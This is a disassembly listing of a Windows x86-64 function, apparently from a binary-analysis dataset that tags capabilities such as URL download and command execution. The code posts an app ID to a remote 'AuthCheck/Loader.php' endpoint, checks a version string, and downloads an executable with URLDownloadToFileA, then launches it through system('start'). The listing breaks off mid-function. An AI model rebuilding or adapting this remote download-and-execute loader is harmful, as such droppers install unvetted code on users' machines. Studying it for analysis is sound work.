Function at 0x140050480
Capabilities:
Download url
Execute command
Receive data
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x470]
sub rsp, 0x570
mov rax, qword [0x1400b4040]
xor rax, rsp
mov qword [rbp + 0x460], rax
mov rdi, rdx
mov rsi, rcx
mov qword [rbp - 0x68], rcx
mov qword [rbp - 0x60], rdx
xor r15d, r15d
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], r15
mov qword [rbp + 0x128], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x110], r15b
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x58], r15b
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x38], r15b
mov ecx, 3
call fcn.140054200
call fcn.1400540b0
mov r14, rax
mov qword [rsp + 0x70], rax
test rax, rax
je 0x14005189b
lea r8, str.https:__deocotienmuahost.click_AuthCheck_Loader.php
mov edx, 0x2712
mov rcx, rax
call fcn.140054170
mov r8, rsi
lea rdx, str.appId
lea rcx, [rsp + 0x30]
call fcn.14004d1f0
nop
mov r8d, 9
lea rdx, [0x1400a3b60]
mov rcx, rax
call fcn.14000e4b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r15b
mov r8, rdi
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x28]
call fcn.140052b70
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400505ee
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400505e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400505e9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052f40
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140050641
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005063c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005063c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052f40
lea r8, [rbp + 0x28]
cmp qword [rbp + 0x40], 0xf
cmova r8, qword [rbp + 0x28]
mov edx, 0x271f
mov rcx, r14
call fcn.140054170
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x20], reloc.WS2_32.dll_ntohs
mov byte [rbp + 8], 0
lea r8, [0x140050400]
mov edx, 0x4e2b
mov rcx, r14
call fcn.140054170
lea r8, [rbp + 8]
mov edx, 0x2711
mov rcx, r14
call fcn.140054170
mov rcx, r14
call fcn.140054160
test eax, eax
je 0x1400508d8
mov ecx, eax
call fcn.140054e80
mov rbx, rax
lea rdx, str.Failed_to_perform_HTTP_POST_request:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14004d9f0
mov rcx, rax
mov rdx, rbx
call fcn.14004d9f0
mov rcx, rax
lea rdx, [0x14004d770]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r14
call fcn.1400540a0
call fcn.1400541a0
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x140050729
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050724
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005170f
call fcn.140052f40
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x20], reloc.WS2_32.dll_ntohs
mov byte [rbp + 8], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x140050774
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005076f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140051761
call fcn.140052f40
mov qword [rbp + 0x38], r15
mov qword [rbp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x28], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x1400507bf
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400507ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400515db
call fcn.140052f40
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x38], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14005080a
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050805
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140051629
call fcn.140052f40
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x58], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x140050854
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x14005084f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400516d6
mov rcx, r8
call fcn.140052f40
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rsi], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x14005089d
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140050898
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400516dd
mov rcx, r8
call fcn.140052f40
mov byte [rdi], 0
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rdi + 0x10], r15
xor al, al
mov rcx, qword [rbp + 0x460]
xor rcx, rsp
call fcn.140052db0
mov rbx, qword [rsp + 0x5c0]
add rsp, 0x570
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r15, [rbp + 8]
mov r14, qword [rbp + 8]
mov r13, qword [rbp + 0x20]
cmp r13, 0xf
cmova r15, r14
mov r12, qword [rbp + 0x18]
cmp r12, 4
jb 0x14005094f
lea r8, [r12 - 3]
add r8, r15
sub r8, r15
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov rcx, r15
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x14005094f
nop word [rax + rax]
cmp dword [rbx], 0x207c7c20
je 0x140050a32
inc rbx
lea r8, [r12 - 3]
add r8, r15
sub r8, rbx
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x140050920
mov rbx, 0xffffffffffffffff
cmp rbx, 0xffffffffffffffff
je 0x1400514d6
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xor r15d, r15d
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x70], r15
mov r8, rbx
cmp r12, rbx
cmovb r8, r12
lea rdx, [rbp + 8]
cmp r13, 0xf
cmova rdx, r14
lea rcx, [rsp + 0x78]
call fcn.14000e530
movups xmm0, xmmword [rsp + 0x78]
movups xmmword [rbp + 0x110], xmm0
movups xmm0, xmmword [rbp - 0x78]
movups xmmword [rbp + 0x120], xmm0
add rbx, 4
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
mov rax, qword [rbp + 0x18]
cmp rax, rbx
jb 0x1400519f9
sub rax, rbx
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], 0xf
cmova rdx, qword [rbp + 8]
add rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.14000e530
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140050a3f
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050a3a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140050a3a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
sub rbx, r15
jmp 0x140050956
call fcn.140052f40
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rbp - 0x58], xmm0
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp - 0x48], xmm1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14005149f
mov r8d, 0x104
lea rdx, [rbp + 0x250]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], r15
mov qword [rbp + 0x60], r15
lea rax, [rbp + 0x250]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], r15w
jne 0x140050a95
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x48]
call fcn.14004df80
nop
lea rbx, [rbp + 0x48]
mov rsi, qword [rbp + 0x48]
mov r14, qword [rbp + 0x60]
cmp r14, 7
cmova rbx, rsi
mov rdi, qword [rbp + 0x58]
test rdi, rdi
je 0x140050ba3
mov r12d, 0x100
mov r8d, r12d
xor edx, edx
lea rcx, [rbp + 0x150]
call sub.VCRUNTIME140.dll_memset
lea rcx, [0x1400a3ba0]
lea rdx, [0x1400a3ba4]
movzx eax, word [rcx]
cmp ax, r12w
jae 0x140050b4e
movzx eax, al
mov byte [rbp + rax + 0x150], 1
add rcx, 2
cmp rcx, rdx
jne 0x140050af6
lea rax, [rdi - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
lea rdx, [rbx + rcx*2]
nop dword [rax]
movzx eax, word [rdx]
cmp ax, r12w
jae 0x140050b43
cmp byte [rbp + rax + 0x150], 0
jne 0x140050b9b
cmp rdx, rbx
je 0x140050ba3
sub rdx, 2
jmp 0x140050b30
lea rax, [rdi - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
lea rdx, [rbx + rcx*2]
nop dword [rax]
nop dword [rax + rax]
mov ecx, 2
lea rax, [0x1400a3ba0]
movzx r8d, word [rdx]
cmp word [rax], r8w
je 0x140050b9b
add rax, 2
sub rcx, 1
jne 0x140050b80
cmp rdx, rbx
je 0x140050ba3
sub rdx, 2
jmp 0x140050b70
sub rdx, rbx
sar rdx, 1
jmp 0x140050baa
mov rdx, 0xffffffffffffffff
inc rdx
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], r15
mov qword [rbp], r15
cmp rdi, rdx
jb 0x1400519ff
sub rdi, rdx
mov r8, 0xffffffffffffffff
cmp rdi, r8
cmovb r8, rdi
lea rax, [rbp + 0x48]
cmp r14, 7
cmova rax, rsi
lea rdx, [rax + rdx*2]
lea rcx, [rbp - 0x18]
call fcn.14004df80
nop
lea r11, [rbp - 0x18]
mov rdi, qword [rbp - 0x18]
mov rsi, qword [rbp]
cmp rsi, 7
cmova r11, rdi
mov rbx, qword [rbp - 8]
cmp rbx, 4
jb 0x140050c44
lea r10, [rbx - 3]
lea r10, [r11 + r10*2]
mov rcx, r11
nop dword [rax]
mov rax, r10
sub rax, rcx
sar rax, 1
je 0x140050c44
nop dword [rax + rax]
cmp word [rcx], 0x2e
je 0x140050dc1
add rcx, 2
sub rax, 1
jne 0x140050c30
mov r9, 0xffffffffffffffff
cmp r9, 0xffffffffffffffff
je 0x140050cf1
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
cmp rbx, r9
cmovb r9, rbx
lea rdx, [rbp - 0x18]
cmp rsi, 7
cmova rdx, rdi
mov r8, r9
lea rcx, [rsp + 0x30]
call fcn.14004df80
mov rdx, qword [rbp]
cmp rdx, 7
jbe 0x140050cc7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050cc2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140050dba
call fcn.140052f40
movups xmm2, xmmword [rsp + 0x30]
movups xmmword [rbp - 0x18], xmm2
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp - 8], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rsi, xmm0
movq rbx, xmm1
movq rdi, xmm2
lea r10, [rbp - 0x18]
cmp rsi, 7
cmova r10, rdi
cmp rbx, 1
jb 0x140050d34
lea r11, [r10 + rbx*2]
mov rcx, r10
nop word [rax + rax]
mov rax, r11
sub rax, rcx
sar rax, 1
je 0x140050d34
nop dword [rax + rax]
cmp word [rcx], 0x56
je 0x140050e0a
add rcx, 2
sub rax, 1
jne 0x140050d20
mov r9, 0xffffffffffffffff
cmp r9, 0xffffffffffffffff
je 0x140050e64
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
cmp rbx, r9
cmovb r9, rbx
lea rdx, [rbp - 0x18]
cmp rsi, 7
cmova rdx, rdi
mov r8, r9
lea rcx, [rsp + 0x30]
call fcn.14004df80
mov rdx, qword [rbp]
cmp rdx, 7
jbe 0x140050e52
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050e4d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140050e4d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140050c44
mov r8d, 4
lea rdx, [0x1400a3ba8]
mov r9, rcx
nop word [rax + rax]
movzx eax, word [rdx]
cmp word [rcx], ax
jne 0x140050e01
add rcx, 2
add rdx, 2
sub r8, 1
jne 0x140050de0
sub r9, r11
sar r9, 1
jmp 0x140050c4b
lea rcx, [r9 + 2]
jmp 0x140050c20
test rcx, rcx
je 0x140050d34
mov r8d, 1
lea rdx, [0x1400a3bb4]
mov r9, rcx
movzx eax, word [rdx]
cmp word [rcx], ax
jne 0x140050e44
add rcx, 2
add rdx, 2
sub r8, 1
jne 0x140050e23
sub r9, r10
sar r9, 1
jmp 0x140050d3b
lea rcx, [r9 + 2]
jmp 0x140050d10
call fcn.140052f40
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rbp - 0x18], xmm0
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp - 8], xmm1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], rax
lea rax, vtable.std::wstring_convert_class_std::codecvt_utf8_wchar_t__1114111__0___wchar_t__class_std::allocator_wchar_t___class_std::allocator_char__.0
mov qword [rbp + 0x90], rax
mov cl, 1
call qword [sym.imp.MSVCP140.dll_private:_static_class_std::locale::_Locimp____ptr64___cdecl_std::locale::_Init_bool_]
mov qword [rbp + 0xa8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xc8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xb0], 0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xe8], 7
mov word [rbp + 0xd0], r15w
mov word [rbp + 0xf8], 0
mov byte [rbp + 0xfa], 0
mov ecx, 0x40
call fcn.140052ef0
mov rbx, rax
mov qword [rbp + 0x68], rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::constructor_unsigned_long_long_unsigned___int64_____ptr64]
lea rax, vtable.std::codecvt_utf8_wchar_t__1114111__0_.0
mov qword [rbx], rax
mov qword [rbp + 0xf0], r15
mov qword [rbp + 0x98], rbx
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.MSVCP140.dll_private:_static_class_std::locale::_Locimp____ptr64___cdecl_std::locale::_Locimp::_New_Locimp_class_std::locale::_Locimp_const____ptr64_]
mov rdi, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::locale::id_std::codecvt_wchar_t__char__struct__Mbstatet_::id]
call qword [sym.imp.MSVCP140.dll_public:_unsigned_long_long_unsigned___int64____cdecl_std::locale::id::operator_unsigned_long_long_unsigned___int64__void____ptr64]
mov r8, rax
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_private:_void___cdecl_std::locale::_Locimp::_Addfac_class_std::locale::facet____ptr64__unsigned_long_long_unsigned___int64_____ptr64]
mov dword [rdi + 0x20], r15d
lea rcx, [rdi + 0x28]
lea rdx, [0x1400a3b00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::_Yarn_char_____ptr64___cdecl_std::_Yarn_char_::operator_char_const____ptr64____ptr64]
mov rcx, qword [rbp + 0xa8]
cmp rcx, rdi
je 0x140050fbc
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x140050fac
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov qword [rbp + 0xa8], rdi
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.WS2_32.dll_htonl]
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x140050fdb
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
mov qword [rbp + 0x100], r15
lea r8, [rbp - 0x18]
cmp qword [rbp], 7
cmova r8, qword [rbp - 0x18]
mov rax, qword [rbp - 8]
lea r9, [r8 + rax*2]
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x90]
call fcn.1400527a0
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r15, qword [rbp + 0x78]
sub rax, r15
cmp rax, 1
jb 0x1400519ed
lea r12, [rbp + 0x68]
mov rsi, qword [rbp + 0x68]
mov r13, qword [rbp + 0x80]
cmp r13, 0xf
cmova r12, rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xor edx, edx
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x68], rdx
lea r14, [r15 + 1]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x50]
cmp r14, rbx
jbe 0x1400510e0
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x1400510a1
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140052ef0
test rax, rax
je 0x1400512cc
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400510db
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1400510bb
mov rdi, rdx
jmp 0x1400510db
cmp rcx, 0x1000
jb 0x1400510d3
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400519f3
jmp 0x140051082
call fcn.140052ef0
mov rdi, rax
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rbx
mov r8, r15
mov rdx, r12
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movzx ecx, word [0x14009d454]
mov byte [r15 + rdi], cl
mov byte [rdi + r14], 0
lea r9, [rbp + 0x110]
movups xmm1, xmmword [rbp - 0x78]
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova r9, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov rax, rdx
sub rax, rcx
movq rdi, xmm1
cmp rdi, rax
ja 0x140051179
lea rax, [rdi + rcx]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x50]
add rbx, rcx
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], 0
lea rax, [rsp + 0x50]
jmp 0x14005118b
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rsp + 0x50]
call fcn.14000e630
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor r14d, r14d
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r14b
mov r8d, 4
lea rdx, str..exe
lea rcx, [rsp + 0x30]
call fcn.14000e4b0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r14b
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x14005123d
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005122f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005122f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052f40
movups xmm0, xmmword [rbp + 0x68]
movups xmm1, xmmword [rsp + 0x78]
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm1
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140051285
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051280
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140051280
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052f40
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x30], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400512d9
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400512d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400512d3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052f40
nop
cmp r13, 0xf
jbe 0x140051314
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14005130b
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005130b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140052f40
nop
lea rcx, [rbp + 0x90]
call fcn.140052630
nop
mov rdx, qword [rbp]
cmp rdx, 7
jbe 0x140051364
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005135f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005135f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052f40
mov qword [rbp - 8], r14
mov qword [rbp], 7
mov word [rbp - 0x18], r14w
mov rdx, qword [rbp + 0x60]
cmp rdx, 7
jbe 0x1400513b8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400513b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400513b3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052f40
lea rcx, [rbp - 0x58]
mov rdi, qword [rbp - 0x58]
mov rsi, qword [rbp - 0x40]
cmp rsi, 0xf
cmova rcx, rdi
mov rbx, qword [rbp - 0x48]
cmp rbx, 4
jne 0x1400513e9
mov r8, rbx
lea rdx, [0x14009d878]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14005140e
lea rcx, [rbp - 0x58]
cmp rsi, 0xf
cmova rcx, rdi
cmp rbx, 3
jne 0x140051433
mov r8, rbx
lea rdx, [0x1400a3be0]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140051433
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Authentication
lea rdx, str.Ask_Developer_For_New_Version
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [rbp - 0x38]
call fcn.14000e440
mov r8, rax
lea rcx, [rbp - 0x58]
call fcn.14000e440
mov rdx, rax
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea r8, [rbp - 0x38]
lea rdx, str.start
lea rcx, [rbp + 0x130]
call fcn.14004d1f0
lea rcx, [rbp + 0x130]
call fcn.14000e440
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rsp + 0x70]
call fcn.1400540a0
call fcn.1400541a0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.Crashed_could_not_get_name_file
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004d9f0
mov rcx, rax
lea rdx, [0x14004d770]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [rbp + 8]
cmp r13, 0xf
cmova rcx, r14
cmp r12, 0xf
jne 0x1400516e4
mov r8, r12
lea rdx, str.True_Version_Id
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400516e4
mov rcx, qword [rsp + 0x70]
call fcn.1400540a0
call fcn.1400541a0
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, r12
jbe 0x14005154d
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051548
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005170f
call fcn.140052f40
xor ebx, ebx
mov qword [rbp + 0x18], rbx
mov qword [rbp + 0x20], reloc.WS2_32.dll_ntohs
mov byte [rbp + 8], bl
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x140051599
inc rdx
